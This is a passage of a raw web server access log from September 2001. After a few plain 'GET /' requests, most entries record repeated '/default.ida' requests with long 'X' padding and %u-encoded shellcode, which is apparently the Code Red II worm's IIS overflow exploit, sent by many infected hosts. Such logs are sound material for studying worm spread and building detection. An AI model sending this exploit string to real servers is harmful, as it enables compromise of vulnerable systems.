  1391. 20010908 01:15:44: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1392. 20010908 01:23:24: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1393. 20010908 01:23:38: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1394. 20010908 01:31:26: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1395. 20010908 01:31:45: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1396. 20010908 01:35:34: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1397. 20010908 01:35:59: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1398. 20010908 01:43:01: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1399. 20010908 01:43:33: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1400. 20010908 01:50:45: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1401. 20010908 01:51:09: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1402. 20010908 01:58:22: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1403. 20010908 01:58:57: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1404. 20010908 02:06:43: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1405. 20010908 02:06:52: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1406. 20010908 02:24:06: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1407. 20010908 06:12:20: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1408. 20010908 07:48:32: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1409. 20010908 09:04:35:  [63.164.120.10] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1410. 20010908 09:04:57: dialup-cc2-32.cc.columbia.edu [128.59.58.137] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1411. 20010908 10:05:22: bus211-082.gsb.columbia.edu [128.59.211.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1412. 20010908 10:06:11:  [195.55.65.97] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1413. 20010908 10:13:07: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1414. 20010908 11:07:45: bus211-082.gsb.columbia.edu [128.59.211.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1415. 20010908 11:34:59: dialup-cc2-70.cc.columbia.edu [128.59.58.175] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1416. 20010908 11:37:07: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1417. 20010908 12:22:51: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1418. 20010908 12:40:19: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1419. 20010908 12:40:20: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1420. 20010908 12:47:31: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1421. 20010908 12:54:16: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1422. 20010908 12:57:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1423. 20010908 13:31:21: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1424. 20010908 13:42:18: kgal2.usask.ca [128.233.94.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1425. 20010908 14:29:21: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1426. 20010908 15:03:42: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1427. 20010908 16:26:23: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1428. 20010908 16:50:45: dialup-cc2-50.cc.columbia.edu [128.59.58.155] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1429. 20010908 16:51:36: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1430. 20010908 17:15:18: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1431. 20010908 17:30:49: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1432. 20010908 19:14:23: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1433. 20010908 22:01:20: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1434. 20010908 23:24:43:  [64.221.60.52] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1435. 20010909 00:29:04: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1436. 20010909 05:08:30:  [202.163.200.36] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1437. 20010909 06:13:48:  [61.151.228.210] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1438. 20010909 09:27:06: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1439. 20010909 10:03:26: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1440. 20010909 10:23:37: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1441. 20010909 13:25:07: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1442. 20010909 13:55:46: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
